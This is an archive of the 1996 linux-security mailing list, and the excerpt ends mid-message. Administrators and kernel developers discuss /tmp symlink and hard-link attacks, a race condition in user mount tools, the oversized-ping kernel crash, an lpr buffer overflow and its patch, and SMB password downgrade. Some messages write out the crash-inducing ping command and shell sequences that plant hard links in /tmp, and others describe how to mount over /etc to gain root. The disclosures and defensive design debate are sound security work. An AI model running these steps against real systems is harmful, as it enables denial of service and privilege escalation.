Does anyone know of a problem with wu-ftp, other than the core dump? From [email protected] Thu Oct 24 19:19:10 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id TAA25961; Thu, 24 Oct 1996 19:19:10 -0400 From: [email protected] (Wietse Venema) Message-Id: <[email protected]> Subject: Re: [linux-security] Re: t bit and symlinks patch To: [email protected] (Andrew Tridgell) Date: Tue, 22 Oct 96 10:30:24 MET DST Cc: [email protected] In-Reply-To: <[email protected]>; from "Andrew Tridgell" at Oct 22, 96 9:01 am Organization: Eindhoven University of Technology, P.O. Box 513, 5600 MB Eindhoven, The Netherlands X-Phone: +31 40 2472989 X-Fax: +31 40 2465995 X-Private: +31 40 2433327 X-Mailer: ELM [version 2.3 PL11] Sender: [email protected] Precedence: list Wietse wrote: > Hard links, soft links, either is sufficient to attack sensitive files > by exploiting naive programs, but the `t' bit is not a requirement at Andrew Tridgell wrote: [Using the `t' bit as a way of requesting less insecure behavior] OK, "do what I mean" semantics can make sense (this is like mounting a file system `nosuid' in order to also disable device special files). To keep semantics simple, I suggest the principle of least surprise: 1) don't allow the creation of hard links that the process can't remove, and 2) don't follow symlinks that the process doesn't own. 1) can be overruled when the process has superuser privilege; 2) can be overruled when the symlink is owned by the superuser or when the symlink is owned by the owner of its (source) directory. I'll resist the temptation to propose changes to the semantics of following symlinks in general. :-) Wietse From [email protected] Thu Oct 24 19:19:15 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id TAA25976; Thu, 24 Oct 1996 19:19:15 -0400 Message-ID: <[email protected]> Date: Sun, 20 Oct 1996 16:53:22 -0500 From: John Fulmer X-Mailer: Mozilla 3.01b1 (X11; I; Linux 2.0.22 i486) MIME-Version: 1.0 To: [email protected] Subject: [linux-security] Linux and lpd Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Does anyone know of a hack against lpr/lpd on Slackware 3.0? Someone rewrote the password file on a server I deal with occasionally, and the only real traces are a file called '1' in the /etc directory, which contains the password file + three additional accounts. Then there is a file called passwd.3, which is another copy of the passwd file. Both files are owned by root and group lp. The person had origionally ftp'ed down the password file, by either cracking a users password, or just got it somehow, Then he cracked a user with a shell account with a weak password (his first name!!!) and got onto the system. We're now trying to find out how he replaced the passwd file. Note that we did not lose root afaik. The account was cracked from an account from singapore owned by a Japindar Singh. He also created a Jenny Lee, and a Datacom, Inc account. Apparently he just wanted them to run a couple of irc bots. jf -- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + John Fulmer | "As folks might have suspected, + + Secure Network System | not much survives except roaches, + + Lawrence, Kansas | and they don't carry large enough + + | packets fast enough..." + + [email protected] | --Dave Crocker, about the + + http://www.blanket.com | Internet and nuclear war. + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ From [email protected] Thu Oct 24 19:19:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id TAA25989; Thu, 24 Oct 1996 19:19:26 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] ncpmount/ncpumount To: [email protected] (Runar Jensen) Date: Mon, 21 Oct 1996 07:02:11 -0400 (EDT) Cc: [email protected] In-Reply-To: <[email protected]> from "Runar Jensen" at Oct 13, 96 07:07:32 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > I haven't had a chance to look at the source code yet, but it appears that > ncpmount and ncpumount suffer from exactly the same problem that mount and > umount did. In fact, the mount exploit that was so widely circulated works > with ncpumount with no modifications. I should note that smbmount suffers from a kernel interface design flaw resulting in an exploitable race condition - if ncpmount lets users mount arbitrary filesystems, it is also vulnerable to this attack; in fact, any tool for letting users mount arbitrary filesystems on arbitrary mount points is. smbmount also has buffer overflows, although if they're the "same" as the one in mount I don't know. I posted about this once before, and I sent patches to the smbmount maintainer, who said he'd look into it "in the fall". I haven't heard anything back since then, nor have I heard anything about fixing the race condition. The race condition is the standard problem: if you check permissions in a different namei() operation than performing an action, symlinks can be flipped around in between. In this case the problem is that the user mode program performs a permission check using stat, and then hands the pathname for the mount point off to the kernel which then does another namei() to find the actual inode to mount over. This means that you can mount stuff anywhere you like, such as over /etc. Proceeding to a root shell from there is left as an exercise. My point? chmod u-s smbmount, smbumount, ncpmount, ncpumount, and anything else that lets users do mounts on mount points of their own choosing. Also be careful where you permit users to mount things when using a program (such as ordinary mount) that lets you configure particular mount points for users to use. And keep it this way until you hear news of kernel support for user mounting. (The solution to this problem is to push the permission checks for doing mounts down into the kernel, where they belong.) -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino From [email protected] Thu Oct 24 19:21:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id TAA26033; Thu, 24 Oct 1996 19:21:28 -0400 From: Alan Cox Message-Id: <[email protected]> Subject: [linux-security] Re: [linux-alert] URGENT: Bug in linux networking stack To: [email protected] (zero cool) Date: Tue, 22 Oct 1996 15:45:13 +0100 (BST) Cc: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected] In-Reply-To: from "zero cool" at Oct 22, 96 07:13:29 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > This patch does *NOT* prevent this situation from occuring completely. It > is still possible to crash a linux machine with an oversized ping. Well I dont think its quite that. The latest 'extended edition' patch on the site should fix both the oversized patch bugs and another 2.0.x bug that showed up due to a bug in a hacking tool meant to send oversize packets. The new version breaks binary module compatibility - I had no choice. Alan linux-security/linux-security.961025100664 1767 1767 31773 6234131065 16654 0ustar majdommajdomFrom [email protected] Fri Oct 25 08:00:55 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id IAA00407; Fri, 25 Oct 1996 08:00:55 -0400 Date: Fri, 25 Oct 1996 03:27:23 +0600 (GMT+0600) From: M Shariful Anam To: [email protected] Cc: Jacek Radajewski , [email protected], [email protected], Linux Security Subject: [linux-security] Re: kernel bug -> security problem In-Reply-To: Message-Id: Organization: Kaifnet Services (Bangladesh) Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 24 Oct 1996 [email protected] wrote: > > > I've just received e-mail about a bug in the kernel which causes linux > > > to reboot when the following ping is issued from windowz 95 : "ping -l > > > 65510 linux.box.IP.address" .. I tried it and sure enough linux dies > > > quickly and without any warning ... > > > > Sorry for a late reply, but I just tested this on our LAN, from Win95 to > > linux 1.2.13 and it doesn't crash. > > Maybe it happens on newer kernels ? That is my question. Has anyone faced this trouble with Linux kernel < 2.x.x? [REW: I also see different behaviour than what a friend of mine sees, and we are both running > 2.0.20 kernels] --- M Shariful Anam Kaifnet Services -- Bangladesh From [email protected] Fri Oct 25 08:01:00 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id IAA00418; Fri, 25 Oct 1996 08:01:00 -0400 Date: Thu, 24 Oct 1996 14:21:06 -0400 Message-Id: <[email protected]> From: "Theodore Y. Ts'o" To: [email protected] Cc: [email protected], [email protected] In-Reply-To: Andrew Tridgell's message of Mon, 21 Oct 1996 23:51:07 +1000, <[email protected]> Subject: Re: [linux-security] Re: t bit and symlinks patch Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Sender: [email protected] Precedence: list From: Andrew Tridgell Date: Mon, 21 Oct 1996 23:51:07 +1000 As far as configurability, I'd like to see these changes become the default, just like the changes that were made to eliminate setuid shell scripts, and the ones that drop source routed IP packets. I think these changes are of a quite different nature to the nosuid and noexec options, as those options would break the average linux system if they were on by default, whereas the proposed symlink and link changes should not be noticed on the vast majority of systems. The problem with making these changes be there by default is that Linux would then be in violation of POSIX.1 "by default". This is a bad thing, for a number of reasons. Ultimately, the wise application programmer should be fixing their programs to not have these problems. While I can see how this non-standard behavior you are suggesting might be useful on time-sharing machines, because of the POSIX.1 issues I think it has to be configurable. Personally, the way I keep my Linux machine secure is to make sure no-one other than myself can get a shell into it. There are an awfully large number of holes that one would have to close before it was impossible for someone with a user shell to gain root access. We should try to close them off, but being realistic, there'll always be one more way in.... - Ted From [email protected] Fri Oct 25 08:01:10 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id IAA00435; Fri, 25 Oct 1996 08:01:10 -0400 From: Alan Cox Message-Id: <[email protected]> Subject: Re: [linux-security] WinNT security? To: [email protected] (Michael H. Warfield) Date: Sun, 20 Oct 1996 18:43:21 +0100 (BST) Cc: [email protected], [email protected], [email protected] In-Reply-To: from "Michael H. Warfield" at Oct 19, 96 11:09:30 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > NO! This has NOTHING to do with NT. This was a Windows 95 stupidity, > pure and simple. Windows NT has NEVER been subject to the same type of > password vulnerability that the anal retentive Windows 95 was. Windows > NT stores passwords in it's registry and is at least as secure as Linux with Wrong. 1. Windows NT can be tricked into sending out unencrypted passwords 2. Windows NT registries tend to be a bit easy to read over the network The former is discussed in the draft specification for the CIFS protocol. Its the common backward compatibility type attack when an NT box mounts a share off another machine. You beat the other machine to the response and swap it for a 'Don't understand that command option'. At which point NT goes 'oh dumb computer.. no problem - send plaintext'. You can trick the other SMB clients into this too as its a generic SMB flaw. Novell sort of got this right as you can tell Novell IPX clients to refuse to do weaker authentication if asked to. > Windows 95 had a problem commonly refered to as a "dot...dot" bug > where someone could request a file ../../../foo.bar and walk past the root > of a share. This made your entire hard drive (including those lovely Windows NT has a feature whereby it tends to export whole disks in a handy erasable format > floppy drive and only on 3 particular models of PC! Real useful. But the You have to evaluate on specific hardware - take for example the 486 FPU memory scribble hardware bug - you code either has to use chips without the bug and guarantee it OR work aroun dit Alan From [email protected] Fri Oct 25 08:01:16 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id IAA00447; Fri, 25 Oct 1996 08:01:16 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] Re: t bit and symlinks patch To: [email protected] Date: Thu, 24 Oct 1996 23:30:15 -0400 (EDT) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Andrew Tridgell" at Oct 21, 96 11:51:07 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > Wietse wrote: > > To my surprise the discussion focuses entirely on symlink attacks from > > world-writable directories. I remind the reader that many of these > > attacks are also possible when sensitive files can be hardlinked to, > > for example, the /tmp directory. > > You're dead right. I plan on doing an updated patch that fixes this > and also addresses some of the other ideas people have sent me. > > I think we need to fix the hard link problem at link creation time > rather than by checking for link counts at lookup time, because once > the hard link is created its impossible to tell who created it, and > thus we couldn't allow for root creating hard links in /tmp (which can > be useful) > > So I propose that we disallow the creation of a hard link in a > directory with the t bit set if the file being linked to is not owned > by the process (as determined by the fsuid). This would not apply to > processes with fsuid==0. Just for starters, this won't work - I can do cd /tmp md foo cd foo ln ../target-file hack cd .. mv foo/hack . rd foo If you disallow linking *to* files that are in +t dirs, I can cd /tmp md foo cd foo ln -s ../target-file proxy ln proxy hack rm proxy cd .. mv foo/hack . rd foo for the same effect. If you disallow making symlinks into directories that are +t, I can make a link to /tmp and use that instead. If you do that (and you make sure to do it right so if you make links to /tmp you don't gain anything), I can still, in most environments, manufacture such a link on another system and cause it to appear on the target system via nfs or equivalent. You also run into problems whenever somebody wants to make a symlink to a file that doesn't exist yet. You can also make symlinks to .. and move them around. Frankly I think that this approach is not an effective use of resources. You might get all these issues worked out eventually, by which time you will have slowed down the filesystem enough doing extra checks that nobody will want to use it. And you might not, in which case the whole thing will turn out to have been a waste of time. It'd probably be better to go start fixing the programs that use /tmp. OpenBSD claims to have fixed nearly everything of the things they maintain in their source tree. [REW: In the far past, Unix didn't have a rename system call. The mv program would create a new -=link=- to the file before removing the old one. A cursory inspection of the above suggestions shows that this would prevent Davids way to circumvent the suggested links-in-tmp-fix. Right?] -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino From [email protected] Fri Oct 25 08:26:54 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id IAA00515; Fri, 25 Oct 1996 08:26:54 -0400 From: Alan Cox Message-Id: <[email protected]> Subject: Re: [linux-security] ncpmount/ncpumount To: [email protected] Date: Fri, 25 Oct 1996 09:31:11 +0100 (BST) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Baba Z Buehler" at Oct 21, 96 11:27:48 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > > I haven't had a chance to look at the source code yet, but it appears that > > ncpmount and ncpumount suffer from exactly the same problem that mount and > > umount did. In fact, the mount exploit that was so widely circulated works > > with ncpumount with no modifications. > Wouldn't the best thing to do be to roll ncp(un)mount, smb(un)mount into the > standard Linux mount command? Unquestionably. I'm going to look at changing the exact rules Linux uses to decide if you can mount over something to allow mounting directly over a current directory. That way mount can cd to the directory to mount and mount over . (which isnt going to move) Alan From [email protected] Fri Oct 25 08:27:32 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id IAA00529; Fri, 25 Oct 1996 08:27:32 -0400 Date: Fri, 25 Oct 1996 03:23:48 -0400 (EDT) From: Michael T Farnworth To: [email protected] cc: [email protected] Subject: Re: [linux-security] Re: t bit and symlinks patch In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 22 Oct 1996, Andrew Tridgell wrote: > The proposed changes to the behaviour of links extends this idea by > making the t bit also limit other behaviour which is even more > dangerous than allowing people to delete files. Allowing users to > follow links owned by other users is more dangerous than allowing them > to delete files because by following links they can destroy files > anywhere on the system, not just the files created by the programs that > write to /tmp. It sounds as though this 'simple' solution to all the potential security holes is getting increasingly convoluted. Surely this leads down a pathway towards increased incompatibility with other unixes. Ultimately tampering like this with things which are considered uniform by programmers is sure to lead to mysterious difficult to find bugs and a reduced understanding of how the operating system works. Introducing many exceptions to rules is not a good thing. Fixing broken programs in this kind of way just encourages people to produce more broken programs. Better to fix things than to turn the operating system into a big clunky system, filled with exceptions and generally a fudge. This is not intended as a flame, but an appeal to fix the broken parts rather than increase overhead and complexity with operations which are only applicable in a minority of cases. > > Cheers, Andrew > Mtf linux-security/linux-security.961026100664 1767 1767 15220 6234407647 16656 0ustar majdommajdomFrom [email protected] Sat Oct 26 06:43:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id GAA14073; Sat, 26 Oct 1996 06:43:28 -0400 Date: Fri, 25 Oct 1996 21:06:46 -0400 (EDT) From: Jon Lewis To: Paul Christenson cc: Linux Security , [email protected], [email protected] Subject: Re: [linux-security] Re: kernel bug -> security problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Fri, 25 Oct 1996, Paul Christenson wrote: > We found that it does not crash a 1.2.13 Slackware machine, but does on > Debian running 2.0.6 and 2.0.23. > > Can someone repost the patch, or at least tell when 2.0.24 is due for > release? http://www.uk.linux.org/NetNews.html ------------------------------------------------------------------ Jon Lewis | Unsolicited commercial e-mail will Network Administrator | be proof-read for $199/hr. ________Finger [email protected] for PGP public key_______ From [email protected] Sat Oct 26 06:43:32 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id GAA14085; Sat, 26 Oct 1996 06:43:32 -0400 From: "Rick S. Harby" Message-Id: <[email protected]> Subject: Re: [linux-security] Re: kernel bug -> security problem To: [email protected] Date: Fri, 25 Oct 1996 22:18:41 -0400 (EDT) In-Reply-To: from "M Shariful Anam" at Oct 25, 96 03:27:23 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > > On Thu, 24 Oct 1996 [email protected] wrote: > > > > I've just received e-mail about a bug in the kernel which causes linux > > > > to reboot when the following ping is issued from windowz 95 : "ping -l > > > > 65510 linux.box.IP.address" .. I tried it and sure enough linux dies > > > > quickly and without any warning ... > > > > > > Sorry for a late reply, but I just tested this on our LAN, from Win95 to > > > linux 1.2.13 and it doesn't crash. > > > > Maybe it happens on newer kernels ? > > That is my question. Has anyone faced this trouble with Linux kernel < > 2.x.x? > > [REW: I also see different behaviour than what a friend of mine sees, > and we are both running > 2.0.20 kernels] > I have seen it crash a box running lower versions, but I have seen it not crash boxes which use ifconfig to set a max packet size. We informed a client of ours about the bug, and attempted to demonstrate it on his Linux box with no luck, and latter found it was his unique ifconfig which prevented it from affecting the system. -Rick .-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-. | Rick S. Harby E-Znet Incorporated | | [email protected] Rochester, NY | | System Operations Manager http://www.eznet.net | `-------------------------------------------------------------------------' From [email protected] Sat Oct 26 06:44:15 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id GAA14108; Sat, 26 Oct 1996 06:44:15 -0400 From: Alan Cox Message-Id: <[email protected]> Subject: Re: [linux-security] safe ftpd's To: [email protected] (Chris Evans) Date: Fri, 25 Oct 1996 22:43:58 +0100 (BST) Cc: [email protected], [email protected], [email protected], [email protected] In-Reply-To: from "Chris Evans" at Oct 25, 96 06:06:55 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > > Nope. wu-ftpd has the buggy realpath (remember mount). Also if combined with > > generic gnu tar the results are disaster ( --rsh-command is a great option) > > Alan, > > Be more specific. ie. > > 1) Does this bug affect wu-ftpd-2.4-academ-BETA-11? > > 2) If so, what are the implications? Can local remote/users get root access? > How? Has an exploit been published? Fixes? 1. Yes 2. With the tar one they can run arbitary binaries if they can upload them. If not then it its probably fairly safe but they can still write to files in the anon ftp area I don't have a realpath() exploit. Im not certain it can be exploited easily. The tar one is the bad one, but only affects gnu tar [other tars dont have the options] ALan From [email protected] Sat Oct 26 09:18:30 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id JAA14528; Sat, 26 Oct 1996 09:18:30 -0400 Message-Id: <[email protected]> Subject: Re: [linux-security] Re: t bit and symlinks patch To: [email protected] Date: Sat, 26 Oct 1996 11:41:49 +0200 (MET DST) From: [email protected] (Rogier Wolff) Content-Type: text Sender: [email protected] Precedence: list Some people are arguing that "this shows how many programmers are still not aware of the /tmp security issues." (Marek Michalkiewicz ). I think that this is wrong. The reason that I like Unix operating systems is that things are nicely divided up. As a normal user, I cannot really mess up the system. When I write a simple application, I don't have to think about preventing the user of my program to write to files he doesn't have access to. The OS does that for me. That's what it's for. If I write an applciation that is going to need an setuid bit, I KNOW I am getting into a big mess of security issues. Then it is my responsibility to do it good. So to keep with the Unix philosophy "what should be simple actually is", the system should provide sufficient security for the standard use of /tmp. If the suggested fix by Andrew can be made watertight, it could be sufficient. Another way would be to make context sensitive symlinks. (Anybody remember Domain-OS?). This would allow you to make /tmp a symlink to $HOME/tmp . There are many more interesting uses of this feature... Any volunteers? :-) Roger. linux-security/linux-security.961027100664 1767 1767 4615 6234615046 16637 0ustar majdommajdomFrom [email protected] Sun Oct 27 03:13:09 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id DAA19103; Sun, 27 Oct 1996 03:13:09 -0500 Message-Id: In-Reply-To: <[email protected]> References: from "M Shariful Anam" at Oct 25, 96 03:27:23 am Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sat, 26 Oct 1996 15:54:58 -0400 To: [email protected] From: Rob Hagopian Subject: Re: [linux-security] Re: kernel bug -> security problem Sender: [email protected] Precedence: list > I have seen it crash a box running lower versions, but I have seen >it not crash boxes which use ifconfig to set a max packet size. We >informed a client of ours about the bug, and attempted to demonstrate it >on his Linux box with no luck, and latter found it was his unique ifconfig >which prevented it from affecting the system. On the linux kernel list, it has been mentioned that only 2.0.x might be vulnerable. In particular, 1.2.13 may not be vulnerable. Other factors may involve IP_FORWARDING. (Note I say _may_) The best thing to do IMO is just apply the patch. -Rob From [email protected] Sun Oct 27 03:15:33 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id DAA19156; Sun, 27 Oct 1996 03:15:33 -0500 Date: Sun, 27 Oct 1996 09:40:46 +0300 (GMT+0300) From: Jonathan Ben-Avraham X-Sender: benavrhm@banjo To: [email protected] Subject: [linux-security] Attack from Crystal.ElectroCity.com Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hi, One October 23 one of my clients running Slackware 3.0 was successfully attacked from Crystal.ElectroCity.com using the telnet exploit/shared library attack. Initial telnet access was aparently obtained by social engineering of a student account. - yba EE 77 7F 30 4A 64 2E C5 83 5F E7 49 A6 82 29 BA ~. .~ TclTek Ltd. =}-------------------------------------------------ooO--U--Ooo-----------{= - [email protected] - tel: +972.52.670.353, http://www.tcltek.co.il - linux-security/linux-security.961028100664 1767 1767 4376 6235054240 16636 0ustar majdommajdomFrom [email protected] Mon Oct 28 01:54:23 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id BAA24008; Mon, 28 Oct 1996 01:54:23 -0500 From: [email protected] (Thomas Quinot) Subject: Re: [linux-security] Linux and lpd Date: 26 Oct 1996 09:14:10 GMT Lines: 44 Message-Id: <[email protected]> Mime-Version: 1.0 To: [email protected] Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: [email protected] Precedence: list John Fulmer ([email protected]) �crit : > Does anyone know of a hack against lpr/lpd on Slackware 3.0? Yes. There is a buffer overflow condition in some BSD-derived lpr implementation, whereby any user can gain root access. A path was posted to bugtraq by Vadim Kolontsov : -------------------------------------------------------------------------- Here is a little patch -- see file lpr.c, function card(): ("!!" marks added lines) -------------------------------------------------------------------------- static void card(c, p2) register int c; register char *p2; { char buf[BUFSIZ]; register char *p1 = buf; register int len = 2; if (strlen(p2) > BUFSIZ-2) /* !! */ { /* !! */ printf("No, thanks...\n"); /* !! */ exit(1); /* !! */ } *p1++ = c; while ((c = *p2++) != '\0') { *p1++ = (c == '\n') ? ' ' : c; len++; } *p1++ = '\n'; write(tfd, buf, len); } -------------------------------------------------------------------------- Details on the attack were posted in freebsd-security (BSD systems also can be compromised). You might also want to consider moving from BSD lpr to LPRng. [REW: I'm getting flooded with messages claiming that this is new. I distincly recall that I've seen this quite a while ago. (The timestamp on the exploit I have is october first.) Anyway, here's a patch, and for those that didn't know, your lpr might be vulnerable....] -- [email protected] linux-security/linux-security.961029100664 1767 1767 4557 6235324771 16651 0ustar majdommajdomFrom [email protected] Tue Oct 29 01:53:44 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id BAA06144; Tue, 29 Oct 1996 01:53:44 -0500 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] Re: t bit and symlinks patch To: [email protected] (Rogier Wolff) Date: Mon, 28 Oct 1996 16:33:12 -0500 (EST) Cc: [email protected] In-Reply-To: <[email protected]> from "Rogier Wolff" at Oct 26, 96 11:41:49 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > When I write a simple application, I don't have to think about > preventing the user of my program to write to files he doesn't have > access to. The OS does that for me. That's what it's for. If I write > an applciation that is going to need an setuid bit, I KNOW I am getting > into a big mess of security issues. Then it is my responsibility to do > it good. > > So to keep with the Unix philosophy "what should be simple actually is", > the system should provide sufficient security for the standard use of > /tmp. You are right. > If the suggested fix by Andrew can be made watertight, it could be > sufficient. As per a previous message, I don't think it can be. > Another way would be to make context sensitive symlinks. (Anybody > remember Domain-OS?). This would allow you to make /tmp a symlink to > $HOME/tmp . There are many more interesting uses of this feature... > Any volunteers? :-) This sounds a lot more interesting. What context do they reference, though? Reading environment variables out of user space sounds horrendous. [REW: Let me answer that question here: I was thinking about allowing user processes to submit a variable to the kernel for inclusion into its "symlink-environment". If you'd allow a process to set it's parent environment, you'd only need one special program to set them, which you can call from /etc/csh.cshrc or whatever YOU use. Otherwise you'd have to make a special shell-builtin for every shell on earth...] -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino linux-security/linux-security.961030100664 1767 1767 3573 6235675303 16636 0ustar majdommajdomFrom [email protected] Wed Oct 30 10:56:50 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id KAA24443; Wed, 30 Oct 1996 10:56:50 -0500 From: "Miller, Raul D." To: [email protected] Subject: Re: [linux-security] Re: t bit and symli Date: Mon, 28 Oct 96 12:44:00 PST Message-ID: <[email protected]> Encoding: 31 TEXT X-Mailer: Microsoft Mail V3.0 Sender: [email protected] Precedence: list Wietse Venema (Oct 24): > To keep semantics simple, I suggest the principle of least surprise: > 1) don't allow the creation of hard links that the process can't > remove, and 2) don't follow symlinks that the process doesn't own. > > 1) can be overruled when the process has superuser privilege; 2) can be > overruled when the symlink is owned by the superuser or when the > symlink is owned by the owner of its (source) directory. (A) As has been mentioned before, if any of this done, it has to be configurable -- it's non-standard, and might break existing code. (B) As has been mentioned before, the semantics of rename prevent (1) from being useful. Making rename non-atomic would break the reliability of code which relies on this being an atomic operation. Because of this complexity, I don't think (1) is on the right track. (C) Rule (2) is overly restrictive, but is close to a good idea. The right thing to do is probably the rule of least privilege -- when following symlinks, drop any user privileges so that they do not exceed the access privileges of the owner (and group) of the intervening symlink(s). This might be non-standard, but it "feels right" to me. [Of course, this would not effect either the real or effective id for the case of suid or sgid programs -- though, conceivably, it might prevent them from being run.] -- Raul linux-security/linux-security.961031100664 1767 1767 14376 6236046420 16653 0ustar majdommajdomFrom [email protected] Thu Oct 31 01:53:40 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id BAA29691; Thu, 31 Oct 1996 01:53:40 -0500 Date: Tue, 29 Oct 1996 14:56:15 -0500 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: [linux-security] Re: t bit and symlinks patch Cc: [email protected] Sender: [email protected] Precedence: list > > Another way would be to make context sensitive symlinks. (Anybody > > remember Domain-OS?). This would allow you to make /tmp a symlink to > > $HOME/tmp . There are many more interesting uses of this feature... > > Any volunteers? :-) > > This sounds a lot more interesting. > > What context do they reference, though? Reading environment variables > out of user space sounds horrendous. Domain-OS was a product of Apollo, which was bought by HP. [REW: Correct, however I wasn't thinking about something like HPs context dependent files. More along the lines of the old Apollo variable symlinks. On the apollo you had /usr/bin in your path, but that pointed either towards a sysV compatible set of binaries or a BSD compatible set. However the special "process context" that you mention is indeed what I was thinking about....] HP-UX has a special "process context" string space. The process context includes the system name; the various types of systems, programs compiled for which will run on the current system; whether the system is a diskful ("localroot") or diskless ("remoteroot") system; and the string "default". The context can be read by getcontext(2); there is no symmetrical setcontext(2) [as far as I can tell]. Such a call must be implemented to make the above proposal work. The rough implementation of HP context dependent files (CDFs) is as follows [from public documentation]. If a file is made context- dependent, a "special" directory of the same name is created, and the contents of the file itself are moved into a separate file for each context name in /etc/clusterconf (typically, the names of all of the hosts in a diskless "cluster"). Accesses to the file will access the file whose name is the first "context string" found in the list. The CDF directory itself can be seen by appending "+" to its name. (I don't know what would happen if you had an "x" CDF directory and an "x+" file or directory.) CDFs can be nested, to refine context selection. A CDF directory can be changed to a regular one via 'chmod -H x+', and back via 'chmod +H x'. (Note the use of "+" in the first version.) For instance, if I had a file /etc/rc and made it a CDF, I'd have a CDF directory /etc/rc with the original contents of /etc/rc copied into files named for my cluster hosts - call them joe, mary, teresa, and chriss - plus "default". If I did an ls -l of /etc/rc+, I'd see the five files; but if I did an ls -l of /etc/rc, I'd see whichever matched my context (say, joe) as /etc/rc. >From this, it seems to me fairly trivial to implement. For me, right now, finding the time to do so is not. I won't be insulted if someone else does it first. [;-)] However, I'm not entirely sure that this will be the security panacea that seemed to be promised. I'm also wondering whether it might open other security holes. Also, the HP specific implementation was to allow file systems that were "context shared", and would allow different configurations and executables when run on different systems in the same shared "cluster". I don't believe that NFS would allow this! and HP's networked file system and diskless workstation boot protocol are (I believe) proprietary. I could be wrong about either. Joe Yao [email protected] - Joseph S. D. Yao From [email protected] Thu Oct 31 01:54:07 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.2/$Revision: 2.10 $) id BAA29708; Thu, 31 Oct 1996 01:54:07 -0500 From: Scott Doty Message-Id: <[email protected]> Subject: [linux-security] do_rlogin problem To: [email protected] Date: Wed, 30 Oct 1996 06:40:09 -0800 (PST) Content-Type: text Sender: [email protected] Precedence: list In NetKit-B-0.08, rlogin.c, do_rlogin() is called with hp->h_name, a static value returned by the resolver. This 